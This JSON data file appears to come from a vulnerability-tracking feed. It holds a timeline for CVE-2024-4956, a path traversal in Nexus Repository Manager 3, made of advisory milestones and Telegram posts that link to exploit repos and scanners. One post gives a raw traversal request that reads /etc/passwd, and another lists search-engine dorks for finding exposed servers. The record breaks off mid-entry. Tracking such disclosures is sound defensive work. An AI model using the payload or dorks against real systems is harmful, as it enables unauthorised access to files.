{"metadata": {"vulnerability": "CVE-2024-4956", "count": 79, "kinds": {"milestone": 5, "sighting": 59, "kev": 0, "other": 15}}, "data": [{"timestamp": "2024-05-15T17:17:46.044Z", "date_only": false, "value": "2024-05-15T17:17:46.044Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2024-4956", "field": "cveMetadata.dateReserved"}, {"timestamp": "2024-05-16T15:31:01.795Z", "date_only": false, "value": "2024-05-16T15:31:01.795Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-4956", "field": "cveMetadata.datePublished"}, {"timestamp": "2024-05-16T15:31:01.795Z", "date_only": false, "value": "2024-05-16T15:31:01.795Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / Sonatype", "record": "CVE-2024-4956", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2024-05-16T16:15:10Z", "date_only": false, "value": "2024-05-16T16:15:10Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-6CGV-69MQ-8W7X", "record": "GHSA-6CGV-69MQ-8W7X", "field": "database_specific.nvd_published_at"}, {"timestamp": "2024-05-16T16:15:10.887Z", "date_only": false, "value": "2024-05-16T16:15:10.887", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-4956", "record": "FKIE_CVE-2024-4956", "field": "published"}, {"timestamp": "2024-05-16T18:27:46.330Z", "date_only": false, "value": "2024-05-16T18:27:46.330240Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-4956", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2024-05-16T18:27:46.330Z", "date_only": false, "value": "2024-05-16T18:27:46.330240Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-4956", "record": "FKIE_CVE-2024-4956", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2024-05-16T18:30:32Z", "date_only": false, "value": "2024-05-16T18:30:32Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-6CGV-69MQ-8W7X", "record": "GHSA-6CGV-69MQ-8W7X", "field": "published"}, {"timestamp": "2024-05-16T18:30:32Z", "date_only": false, "value": "2024-05-16T18:30:32Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-6CGV-69MQ-8W7X", "record": "GHSA-6CGV-69MQ-8W7X", "field": "modified"}, {"timestamp": "2024-05-16T22:00:00Z", "date_only": false, "value": "2024-05-16T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1174", "record": "WID-SEC-W-2024-1174", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2024-05-16T22:00:00Z", "date_only": false, "value": "2024-05-16T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1174", "record": "WID-SEC-W-2024-1174", "field": "document.tracking.initial_release_date"}, {"timestamp": "2024-05-16T22:00:00Z", "date_only": false, "value": "2024-05-16T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1174", "record": "WID-SEC-W-2024-1174", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2024-05-16T22:00:00Z", "date_only": false, "value": "2024-05-16T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1174", "record": "WID-SEC-W-2024-1174", "field": "document.tracking.current_release_date"}, {"timestamp": "2024-05-23T08:17:43Z", "date_only": false, "value": "2024-05-23T08:17:43.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7389", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "3717a76c-7951-4c37-8c21-2eb353b23882", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4956 Nuclei Template\nURL\uff1ahttps://github.com/cungts/CVE-2024-4956\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7389"}, {"timestamp": "2024-05-23T08:22:01Z", "date_only": false, "value": "2024-05-23T08:22:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7390", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "7e1d4a0e-c2d9-46a5-8f3d-c832803f2b0f", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4956 Nuclei Template\nURL\uff1ahttps://github.com/xungzzz/CVE-2024-4956\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7390"}, {"timestamp": "2024-05-23T11:27:11Z", "date_only": false, "value": "2024-05-23T11:27:11.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/2533", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "0b0c0dc5-986d-4dd5-9a09-668ed5d0aaca", "content": "cve-2024-4956\n\nGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\n\n#poc  #exploit", "url": "https://t.me/CNArsenal/2533"}, {"timestamp": "2024-05-23T16:50:34Z", "date_only": false, "value": "2024-05-23T16:50:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7394", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "a15136cc-fa84-44c6-8fa0-b6070f7f2d88", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4956 - Nexus < Exploit\nURL\uff1ahttps://github.com/codeb0ss/CVE-2024-4956-OoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7394"}, {"timestamp": "2024-05-23T16:55:48Z", "date_only": false, "value": "2024-05-23T16:55:48.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7395", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "19700299-ca73-452e-9160-dd95729bc513", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4956 - Nexus < Exploit\nURL\uff1ahttps://github.com/codeb0ss/CVE-2024-4956-PoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7395"}, {"timestamp": "2024-05-23T19:33:15Z", "date_only": false, "value": "2024-05-23T19:33:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackingInsights/849", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "0f64504e-3ffd-4096-b81b-c5003d108e93", "content": "\u200aSoftware Supply Chains Threatened: Nexus Repository CVE-2024-4956 Flaw Exposed\n\nhttps://securityonline.info/software-supply-chains-threatened-nexus-repository-cve-2024-4956-flaw-exposed/", "url": "https://t.me/HackingInsights/849"}, {"timestamp": "2024-05-24T00:59:26Z", "date_only": false, "value": "2024-05-24T00:59:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/codeb0ss/1440", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "adc99460-ba3a-4584-9b4b-df7cb9363a62", "url": "https://t.me/codeb0ss/1440"}, {"timestamp": "2024-05-25T00:00:00Z", "date_only": true, "value": "2024-05-25", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2024-28353", "record": "CNVD-2024-28353", "field": "submitTime"}, {"timestamp": "2024-05-25T13:07:26Z", "date_only": false, "value": "2024-05-25T13:07:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/10562", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "d7e2fedb-ab23-4385-adde-4eb94c981ac8", "content": "#exploit\n1. CVE-2024-29269:\nTelesquare TLR-2005KSH Unauth RCE\nhttps://github.com/Chocapikk/CVE-2024-29269\n]-> https://github.com/wutalent/CVE-2024-29269/blob/main/index.md\n\n2. CVE-2024-4956:\nNexus Repo Manager 3 Unauth Path Traversal\nhttps://github.com/vulhub/vulhub/tree/master/nexus/CVE-2024-4956", "url": "https://t.me/CyberSecurityTechnologies/10562"}, {"timestamp": "2024-05-25T18:57:58Z", "date_only": false, "value": "2024-05-25T18:57:58.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/2541", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "4de3e423-5116-482f-8574-652696fc9e8d", "content": "https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2024-4956\n\nNexus Repository Manager 3 Unauthenticated Path Traversal (CVE-2024-4956)\n#github #poc", "url": "https://t.me/CNArsenal/2541"}, {"timestamp": "2024-05-26T06:54:24Z", "date_only": false, "value": "2024-05-26T06:54:24.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7414", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "2ab85d80-babf-47af-a768-da0363548e13", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1a[CVE-2024-4956] Unauthenticated Path Traversal Bulk Scanner\nURL\uff1ahttps://github.com/ifconfig-me/CVE-2024-4956-Bulk-Scanner\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7414"}, {"timestamp": "2024-05-26T11:48:10Z", "date_only": false, "value": "2024-05-26T11:48:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/true_sec/77", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "2fd38bb9-99af-4bbc-8a70-281800f32f24", "content": "CVE-2024-4956 - Unauthenticated Path Traversal in Nexus Repository Manager 3\n\u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442\u2026\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e\u2026\n\nhttps://github.com/gmh5225/CVE-2024-4956", "url": "https://t.me/true_sec/77"}, {"timestamp": "2024-05-28T10:06:24Z", "date_only": false, "value": "2024-05-28T10:06:24.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/dilagrafie/3250", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "a7ac4c04-755c-474e-a728-695a718320dc", "content": "Tools - Hackers Factory\n\nAn incredibly fast proxy checker & IP rotator with ease. \n\nhttps://github.com/kitabisa/mubeng\n\n[CVE-2024-4956] Nexus Repository Manager 3 Unauthenticated Path Traversal Bulk Scanner \n\nhttps://github.com/ifconfig-me/CVE-2024-4956-Bulk-Scanner/\n\nRepository to house markdown templates for researchers \n\nhttps://github.com/bugcrowd/templates\n\nPython for AWAE (Advanced Web Attacks and Exploitation) \n\nhttps://github.com/shreyaschavhan/python-for-awae\n\nA tool for collecting RDP, web and VNC screenshots all in one place \n\nhttps://github.com/nccgroup/scrying\n\nJeeves SQLI Finder \n\nhttps://github.com/ferreiraklet/Jeeves\n\nThe Frida-Jit-unPacker aims at helping researchers and analysts understand the behavior of packed malicious .NET samples. \n\nhttps://github.com/imperva/frida-jit-unpacker\n\nExploits for CNEXT (CVE-2024-2961), a buffer overflow in the glibc's iconv() \n\nhttps://github.com/ambionics/cnext-exploits?tab=readme-ov-file\n\n\u53bb\u4e2d\u5fc3\u5316\u8fdc\u7a0b\u63a7\u5236\u5de5\u5177\uff08Decentralized Remote Administration Tool\uff09\uff0c\u901a\u8fc7ENS\u5b9e\u73b0\u4e86\u914d\u7f6e\u6587\u4ef6\u5206\u53d1\u7684\u53bb\u4e2d\u5fc3\u5316\uff0c\u901a\u8fc7Telegram\u5b9e\u73b0\u4e86\u670d\u52a1\u7aef\u7684\u53bb\u4e2d\u5fc3\u5316 \n\nhttps://github.com/SpenserCai/DRat\n\nAbusing Windows fork API and OneDrive.exe process to inject the malicious shellcode without allocating new RWX memory region. \n\nhttps://github.com/Offensive-Panda/RWX_MEMEORY_HUNT_AND_INJECTION_DV\n\nCollection of references to write-ups, blog posts and papers related to cybersecurity, reverse engineering and exploitation (constantly updated)\n\nhttps://github.com/0xor0ne/awesome-list/blob/main/topics/cybersec.md\n\nGitHub - yoryio/CVE-2024-20767: Exploit for CVE-2024-20767 - Adobe ColdFusion\n\nhttps://github.com/yoryio/CVE-2024-20767\n\nGitHub - TracecatHQ/tracecat: \ud83d\ude3c The open source alternative to Tines / Splunk SOAR. Build AI-assisted workflows, orchestrate alerts, and close cases fast.\n\nhttps://github.com/TracecatHQ/tracecat\n\nGitHub - sarperavci/CloudflareBypassForScraping: A cloudflare verification bypass script for webscraping\n\nhttps://github.com/sarperavci/CloudflareBypassForScraping\n\n#HackersFactory", "url": "https://t.me/dilagrafie/3250"}, {"timestamp": "2024-05-28T10:20:28Z", "date_only": false, "value": "2024-05-28T10:20:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GrayHatsHack/6610", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "cb93f5d6-40f2-4061-bb41-0826bc540e06", "content": "Tools - Hackers Factory\n\nAn incredibly fast proxy checker & IP rotator with ease. \n\nhttps://github.com/kitabisa/mubeng\n\n[CVE-2024-4956] Nexus Repository Manager 3 Unauthenticated Path Traversal Bulk Scanner \n\nhttps://github.com/ifconfig-me/CVE-2024-4956-Bulk-Scanner/\n\nRepository to house markdown templates for researchers \n\nhttps://github.com/bugcrowd/templates\n\nPython for AWAE (Advanced Web Attacks and Exploitation) \n\nhttps://github.com/shreyaschavhan/python-for-awae\n\nA tool for collecting RDP, web and VNC screenshots all in one place \n\nhttps://github.com/nccgroup/scrying\n\nJeeves SQLI Finder \n\nhttps://github.com/ferreiraklet/Jeeves\n\nThe Frida-Jit-unPacker aims at helping researchers and analysts understand the behavior of packed malicious .NET samples. \n\nhttps://github.com/imperva/frida-jit-unpacker\n\nExploits for CNEXT (CVE-2024-2961), a buffer overflow in the glibc's iconv() \n\nhttps://github.com/ambionics/cnext-exploits?tab=readme-ov-file\n\n\u53bb\u4e2d\u5fc3\u5316\u8fdc\u7a0b\u63a7\u5236\u5de5\u5177\uff08Decentralized Remote Administration Tool\uff09\uff0c\u901a\u8fc7ENS\u5b9e\u73b0\u4e86\u914d\u7f6e\u6587\u4ef6\u5206\u53d1\u7684\u53bb\u4e2d\u5fc3\u5316\uff0c\u901a\u8fc7Telegram\u5b9e\u73b0\u4e86\u670d\u52a1\u7aef\u7684\u53bb\u4e2d\u5fc3\u5316 \n\nhttps://github.com/SpenserCai/DRat\n\nAbusing Windows fork API and OneDrive.exe process to inject the malicious shellcode without allocating new RWX memory region. \n\nhttps://github.com/Offensive-Panda/RWX_MEMEORY_HUNT_AND_INJECTION_DV\n\nCollection of references to write-ups, blog posts and papers related to cybersecurity, reverse engineering and exploitation (constantly updated)\n\nhttps://github.com/0xor0ne/awesome-list/blob/main/topics/cybersec.md\n\nGitHub - yoryio/CVE-2024-20767: Exploit for CVE-2024-20767 - Adobe ColdFusion\n\nhttps://github.com/yoryio/CVE-2024-20767\n\nGitHub - TracecatHQ/tracecat: \ud83d\ude3c The open source alternative to Tines / Splunk SOAR. Build AI-assisted workflows, orchestrate alerts, and close cases fast.\n\nhttps://github.com/TracecatHQ/tracecat\n\nGitHub - sarperavci/CloudflareBypassForScraping: A cloudflare verification bypass script for webscraping\n\nhttps://github.com/sarperavci/CloudflareBypassForScraping\n\n#HackersFactory", "url": "https://t.me/GrayHatsHack/6610"}, {"timestamp": "2024-05-28T10:20:28Z", "date_only": false, "value": "2024-05-28T10:20:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GrayHatsHack/7825", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "955f388d-a2b9-4367-90a1-f0a3c23f9bb9", "content": "Tools - Hackers Factory\n\nAn incredibly fast proxy checker & IP rotator with ease. \n\nhttps://github.com/kitabisa/mubeng\n\n[CVE-2024-4956] Nexus Repository Manager 3 Unauthenticated Path Traversal Bulk Scanner \n\nhttps://github.com/ifconfig-me/CVE-2024-4956-Bulk-Scanner/\n\nRepository to house markdown templates for researchers \n\nhttps://github.com/bugcrowd/templates\n\nPython for AWAE (Advanced Web Attacks and Exploitation) \n\nhttps://github.com/shreyaschavhan/python-for-awae\n\nA tool for collecting RDP, web and VNC screenshots all in one place \n\nhttps://github.com/nccgroup/scrying\n\nJeeves SQLI Finder \n\nhttps://github.com/ferreiraklet/Jeeves\n\nThe Frida-Jit-unPacker aims at helping researchers and analysts understand the behavior of packed malicious .NET samples. \n\nhttps://github.com/imperva/frida-jit-unpacker\n\nExploits for CNEXT (CVE-2024-2961), a buffer overflow in the glibc's iconv() \n\nhttps://github.com/ambionics/cnext-exploits?tab=readme-ov-file\n\n\u53bb\u4e2d\u5fc3\u5316\u8fdc\u7a0b\u63a7\u5236\u5de5\u5177\uff08Decentralized Remote Administration Tool\uff09\uff0c\u901a\u8fc7ENS\u5b9e\u73b0\u4e86\u914d\u7f6e\u6587\u4ef6\u5206\u53d1\u7684\u53bb\u4e2d\u5fc3\u5316\uff0c\u901a\u8fc7Telegram\u5b9e\u73b0\u4e86\u670d\u52a1\u7aef\u7684\u53bb\u4e2d\u5fc3\u5316 \n\nhttps://github.com/SpenserCai/DRat\n\nAbusing Windows fork API and OneDrive.exe process to inject the malicious shellcode without allocating new RWX memory region. \n\nhttps://github.com/Offensive-Panda/RWX_MEMEORY_HUNT_AND_INJECTION_DV\n\nCollection of references to write-ups, blog posts and papers related to cybersecurity, reverse engineering and exploitation (constantly updated)\n\nhttps://github.com/0xor0ne/awesome-list/blob/main/topics/cybersec.md\n\nGitHub - yoryio/CVE-2024-20767: Exploit for CVE-2024-20767 - Adobe ColdFusion\n\nhttps://github.com/yoryio/CVE-2024-20767\n\nGitHub - TracecatHQ/tracecat: \ud83d\ude3c The open source alternative to Tines / Splunk SOAR. Build AI-assisted workflows, orchestrate alerts, and close cases fast.\n\nhttps://github.com/TracecatHQ/tracecat\n\nGitHub - sarperavci/CloudflareBypassForScraping: A cloudflare verification bypass script for webscraping\n\nhttps://github.com/sarperavci/CloudflareBypassForScraping\n\n#HackersFactory", "url": "https://t.me/GrayHatsHack/7825"}, {"timestamp": "2024-05-28T10:27:55Z", "date_only": false, "value": "2024-05-28T10:27:55.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GhostsForum/21615", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "7f9558b2-a87a-4cff-b4a9-929b96516c2c", "content": "Tools - Hackers Factory\n\nAn incredibly fast proxy checker & IP rotator with ease. \n\nhttps://github.com/kitabisa/mubeng\n\n[CVE-2024-4956] Nexus Repository Manager 3 Unauthenticated Path Traversal Bulk Scanner \n\nhttps://github.com/ifconfig-me/CVE-2024-4956-Bulk-Scanner/\n\nRepository to house markdown templates for researchers \n\nhttps://github.com/bugcrowd/templates\n\nPython for AWAE (Advanced Web Attacks and Exploitation) \n\nhttps://github.com/shreyaschavhan/python-for-awae\n\nA tool for collecting RDP, web and VNC screenshots all in one place \n\nhttps://github.com/nccgroup/scrying\n\nJeeves SQLI Finder \n\nhttps://github.com/ferreiraklet/Jeeves\n\nThe Frida-Jit-unPacker aims at helping researchers and analysts understand the behavior of packed malicious .NET samples. \n\nhttps://github.com/imperva/frida-jit-unpacker\n\nExploits for CNEXT (CVE-2024-2961), a buffer overflow in the glibc's iconv() \n\nhttps://github.com/ambionics/cnext-exploits?tab=readme-ov-file\n\n\u53bb\u4e2d\u5fc3\u5316\u8fdc\u7a0b\u63a7\u5236\u5de5\u5177\uff08Decentralized Remote Administration Tool\uff09\uff0c\u901a\u8fc7ENS\u5b9e\u73b0\u4e86\u914d\u7f6e\u6587\u4ef6\u5206\u53d1\u7684\u53bb\u4e2d\u5fc3\u5316\uff0c\u901a\u8fc7Telegram\u5b9e\u73b0\u4e86\u670d\u52a1\u7aef\u7684\u53bb\u4e2d\u5fc3\u5316 \n\nhttps://github.com/SpenserCai/DRat\n\nAbusing Windows fork API and OneDrive.exe process to inject the malicious shellcode without allocating new RWX memory region. \n\nhttps://github.com/Offensive-Panda/RWX_MEMEORY_HUNT_AND_INJECTION_DV\n\nCollection of references to write-ups, blog posts and papers related to cybersecurity, reverse engineering and exploitation (constantly updated)\n\nhttps://github.com/0xor0ne/awesome-list/blob/main/topics/cybersec.md\n\nGitHub - yoryio/CVE-2024-20767: Exploit for CVE-2024-20767 - Adobe ColdFusion\n\nhttps://github.com/yoryio/CVE-2024-20767\n\nGitHub - TracecatHQ/tracecat: \ud83d\ude3c The open source alternative to Tines / Splunk SOAR. Build AI-assisted workflows, orchestrate alerts, and close cases fast.\n\nhttps://github.com/TracecatHQ/tracecat\n\nGitHub - sarperavci/CloudflareBypassForScraping: A cloudflare verification bypass script for webscraping\n\nhttps://github.com/sarperavci/CloudflareBypassForScraping\n\n#HackersFactory", "url": "https://t.me/GhostsForum/21615"}, {"timestamp": "2024-05-29T03:53:34Z", "date_only": false, "value": "2024-05-29T03:53:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Hunt3rkill3rs1/343", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "35243645-0fc9-45e1-98e2-9b7fc8ec8d9e", "content": "Exploiting Nexus Repository 3 Directory Traversal Vulnerability (CVE-2024-4956) via Java Fuzzing\n\n\ud83d\udcc9\ud83d\udcc9\ud83d\udcc9\ud83d\udcc9\ud83d\udcc9\ud83d\udcc9\ud83d\udcc9\ud83d\udcc9\ud83d\udcc9\ud83d\udcc9\nhttps://exp10it.io/2024/05/%E9%80%9A%E8%BF%87-java-fuzzing-%E6%8C%96%E6%8E%98-nexus-repository-3-%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E6%BC%8F%E6%B4%9E-cve-2024-4956/", "url": "https://t.me/Hunt3rkill3rs1/343"}, {"timestamp": "2024-05-29T07:40:24Z", "date_only": false, "value": "2024-05-29T07:40:24.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7448", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "a753e5fc-a524-4a42-83e9-55c5d90eb888", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aProof-Of-Concept (POC) for CVE-2024-4956\nURL\uff1ahttps://github.com/TypicalModMaker/CVE-2024-4956\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7448"}, {"timestamp": "2024-05-29T22:14:33Z", "date_only": false, "value": "2024-05-29T22:14:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7455", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "5723ba97-9b59-4c52-aa6d-cc85c3374c75", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4956 : Nexus Repository Manager 3 poc exploit\nURL\uff1ahttps://github.com/41yn14/CVE-2024-0039-Exploit\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7455"}, {"timestamp": "2024-05-30T08:12:52Z", "date_only": false, "value": "2024-05-30T08:12:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7460", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "547c822b-2dc7-46dc-832a-bd54c026cefb", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aExploit for CVE-2024-4956 affecting all previous Sonatype Nexus Repository 3.x OSS/Pro versions up to and including 3.68.0\nURL\uff1ahttps://github.com/Praison001/CVE-2024-4956-Sonatype-Nexus-Repository-Manager\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7460"}, {"timestamp": "2024-06-02T20:27:46Z", "date_only": false, "value": "2024-06-02T20:27:46.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/brutsecurity/458", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "d8bf91eb-d4db-4cfd-88b3-85d0067196e1", "content": "\ud83d\udea8CVE-2024-4956:Nexus Repository Flaw Exposed\ud83d\udea8\n\n\u26a0\ufe0fThis vulnerability, discovered and responsibly reported by @erickfernandox, could allow attackers to access and download sensitive system files without authentication. \n\n\ud83d\udc49Dorks:\nHunter:/product.name=\"Nexus Repository\"\nFOFA:app=\"Nexus-Repository-Manager\"\nSHODAN:http.html:\"Nexus Repository\"\n\nPOC: https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2024-4956", "url": "https://t.me/brutsecurity/458"}, {"timestamp": "2024-06-03T18:02:10Z", "date_only": false, "value": "2024-06-03T18:02:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/10615", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "a4547463-23f6-46ec-a55a-1eddc4260092", "content": "#Fuzzing\n1. JettyFuzz - harness for fuzzing Nexus Repository 3 Path Traversal Vulnerability (CVE-2024-4956)\nhttps://github.com/X1r0z/JettyFuzz\n2. Application of Fuzzing in Java Vulnerability Discovery\nhttps://evilpan.com/2023/09/09/java-fuzzing", "url": "https://t.me/CyberSecurityTechnologies/10615"}, {"timestamp": "2024-06-04T17:53:05.938Z", "date_only": false, "value": "2024-06-04T17:53:05.938Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-4956", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-06-04T23:35:26Z", "date_only": false, "value": "2024-06-04T23:35:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Hunt3rkill3rs1/403", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "ae112688-a0c9-4dcb-ba40-ac305f9af90f", "content": "https://malware.news/t/poc-exploit-for-cve-2024-4956-in-sonatype-nexus-repository-3-draws-threat-actors-attention/82420\n\n\u041e\u043d\u0438 \u0434\u0430\u0436\u0435 \u0431\u043e\u044f\u0442\u0441\u044f \u043d\u0430\u0448\u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0432\u0437\u043b\u043e\u043c\u0430, \u043d\u043e \u043e\u043d\u0438 \u043d\u0435 \u0437\u043d\u0430\u044e\u0442, \u0447\u0442\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u044b \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u043c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e, - \u044d\u0442\u043e \u043b\u0438\u0448\u044c \u043c\u0430\u043b\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043d\u0430\u0448\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439. \ud83d\ude0e\n\n\nThey are even afraid of our hacking techniques, but they don't know that what we publish publicly is only a small part of our ability. \ud83d\ude0e", "url": "https://t.me/Hunt3rkill3rs1/403"}, {"timestamp": "2024-06-05T15:42:02Z", "date_only": false, "value": "2024-06-05T15:42:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7532", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "4ec1b337-32d7-45d2-9cbb-32925f8d12d4", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4956 Python exploitation utility\nURL\uff1ahttps://github.com/fin3ss3g0d/CVE-2024-4956\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7532"}, {"timestamp": "2024-06-05T16:14:26Z", "date_only": false, "value": "2024-06-05T16:14:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7533", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "fc26f0e0-79e2-4637-84e6-b9555551fdf1", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4956 Python exploitation utility\nURL\uff1ahttps://github.com/un9nplayer/CVE-2024-24919\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7533"}, {"timestamp": "2024-06-08T19:44:22Z", "date_only": false, "value": "2024-06-08T19:44:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Blackhat_Officials/1030", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "2d1383b9-01bb-4b23-a3df-999cccab3ede", "content": "CVE-2024-4956 (Sonatype Repo 3) Exploitation 